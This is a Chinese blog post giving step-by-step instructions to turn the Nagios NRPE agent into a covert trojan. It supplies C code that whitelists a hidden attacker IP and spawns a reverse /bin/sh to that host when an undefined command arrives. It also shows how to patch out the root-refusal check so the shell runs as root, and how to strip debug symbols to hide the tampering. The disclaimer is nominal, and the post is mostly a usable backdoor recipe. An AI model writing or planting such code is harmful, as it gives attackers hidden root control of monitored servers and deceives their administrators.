去年研究nagios的时候就对nrpe的“潜能”进行了挖掘,成功改造成为一个黑客客户端,但一切只是自己测试所用,不想公布出来,防止别人用此做“不合理”的事,今天试着公布出来,玩玩,但不要在线上环境部署。
nrpe是nagios的一个远程插件,cs架构,nagios发nrpe已经定义好的指令给nrpe运行,返回结果,一切看似有序进行。但既然nrpe是一个客户端,可以运行指令,所以我们只需要稍微改改nrpe的源码就可以让nrpe越权操作你想做的事。
先截图展示一下效果:
nrpe.cfg是个正常在用的nagios监控客户端,没有任何异常,里面没有定义kill命令。
1:先在b机器用nc监听5666端口,开好防火墙,等待shell的反弹;
2:在b机器上对nrpe客户端的a机器发送指令 kill
3:成功返回一个Segmentation的自定义标识,用id命令看下,而且返回来的是root权限,权限到手,接下来就随心所欲了。
接下来详细讲解改源码步骤:
下载nrpe源码
axel http://nchc.dl.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.12/nrpe-2.12.tar.gz
解压
tar xvf nrpe-2.12.tar.gz
先正常编译
cd nrpe-2.12 ./configure --prefix=/usr/local/nrpe --with-nagios-user=nagios --with-nagios-group=nagios --enable-command-args make make install
然后进行正式地修改
cd src
make clean #把刚才编译好的文件删了,因为等下我们要改的就是nrpe.c这个文件,改好之后在src目录直接make编译即可
nrpe.c只有2k行左右,大概看一下,就大概了解了工作流程。
编辑nrpe.c 在953行看到看到定义的is_an_allowed_host函数,这个是nrpe配置文件里面配置的运行哪些服务端发送指令过来,既然说是要黑客木马程序,我们肯定不能在配置文件里面加入我们的服务端ip,我们在这里定义一个”vip客户”:在函数下面加入
char vip_ptr1[16]="121.XXX.XXX.XXX"; 这行。继续找到下面这段:
/* try and match IP addresses first */ for(temp_ptr=strtok(temp_buffer,",");temp_ptr!=NULL;temp_ptr=strtok(NULL,",")){ if(!strcmp(connecting_host,temp_ptr)){ result=1; break; } }
在这里加入我们的vip客户:
for(temp_ptr=strtok(temp_buffer,",");temp_ptr!=NULL;temp_ptr=strtok(NULL,",")){ if(!strcmp(connecting_host,vip_ptr1)){ result=1; break; } if(!strcmp(connecting_host,temp_ptr)){ result=1; break; }
这样 vip_ptr1这个ip就在nrpe的服务范围了,不用在nrpe的配置文件里面暴露我们的踪迹。
继续找到1890行左右有个process_arguments函数,我们在这个上方加入我们的”main”函数,为什么打双引号呢,因为这个不是真的main函数,我们不能动这个文件的main,但是可以加入别的函数mainmain函数:
void usage(); char shell[]="/bin/sh"; char message[]="Segmentation\n"; int sock; int mainmain(char IP[]) { struct sockaddr_in server; if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { return; } server.sin_family = AF_INET; server.sin_port = htons(5666); server.sin_addr.s_addr = inet_addr(IP); if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { return ; } send(sock, message, sizeof(message), 0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execl(shell,"/bin/sh",(char *)0); return ; } void usage(char *prog[]) { exit(1); }
加入好我们的main函数之后,我们要找地方调用,搜索temp_command=find_command(command_name);这行,大概在1200行左右,这里是定义查找配置文件允许的命令的地方,我们在这里加入后门,下面是if(temp_command==NULL){ 如果没找到定义的命令就返回NRPE: Command '%s' not defined",command_name,我们不需要返回了,我们定义如果没找到定义的命令,我们就执行我们的后面程序,在if(temp_command==NULL){下面加入我们之前定义的ip和函数:
mainmain("121.XXX.XXX.XXX");
另外,nrpe不支持root权限运行,我们可以再做个小动作:搜索bail if daemon is running as root ,大概在1656行左右,把下面的if(uid==0 || gid==0){里面的0改为1,这样就可以用root用户启动了。当然我们不需要用root用户启动,如果是普通用户,我们得到的就是普通的shell了,centos 5.5有个提权的漏洞,可以提升普通用户为root,这里就不加进去了。
修改好之后,保存,在src目录make clean ; make ; make install
这样就编译好了,当正常的用户nagios客户端时候用的毫无破绽。当我们在指定的ip上面nc监听一个端口,然后再触发一下,一个shell就到手了。下面再做个小动作完善一下。因为configure时候已经把Makefile生成好了,但是他默认是允许gdb调试的。我们gdb nrpe,然后l就会发现我们所做的手脚
露馅了,不过我们可以继续改,在Makefile里面改个小东西vi Makefile 找到CFLAGS这一行,在12行左右,把 -g 这个参数去掉,然后重新make clean ; make ; make install 安装
重新编译之后,我们重新gdb调试,就会发现,l命令已经不生效了,提示
(gdb) l
No symbol table is loaded. Use the "file" command.,找不到调试的信息了。就这样再次隐藏了一下,虽然这是此地无银三百两了。
ok,完毕。自己看着玩吧,后果自负。 新浪微博 @liujen